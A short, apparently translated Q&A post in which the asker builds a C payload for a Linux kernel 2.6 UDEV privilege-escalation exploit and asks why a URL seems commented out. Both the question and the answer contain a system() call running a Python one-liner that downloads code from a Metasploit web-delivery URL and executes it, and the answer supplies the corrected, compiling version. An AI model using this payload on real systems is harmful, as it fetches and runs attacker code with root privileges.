如何阻止URL被注释掉(C)

时间:2016-04-28 06:11:01

标签: python c linux string url

我一直在尝试Linux上的权限提升攻击,它将以root用户(Linux kernel 2.6 UDEV exploit)运行/ tmp / run中的任何文件。我决定在C中制作我的有效载荷(以增加挑战)。它只需要执行一个python命令(由Metasploit的Web传输模块生成)。问题是,当我输入一个URL作为字符串时,http://中的//将注释掉URL的其余部分。

我不知道那么多C,所以我不知道如何解决这个问题。这可能看起来有点像noob-ish,但我真的无法在任何地方找到答案。

当前代码:

#include <stdio.h>

int main(void) {
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\"" <== // in http:// comments out rest of line
    return 0;

}

有没有正确的解决方法?

1 个答案:

答案 0 :(得分:4)

//不会在字符串文字内部发表评论。在字符串中使用//不是您发布的问题,而是应该在关闭system时完成)函数调用。

#include <stdio.h>

int main(void) {
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\"");
    return 0;
}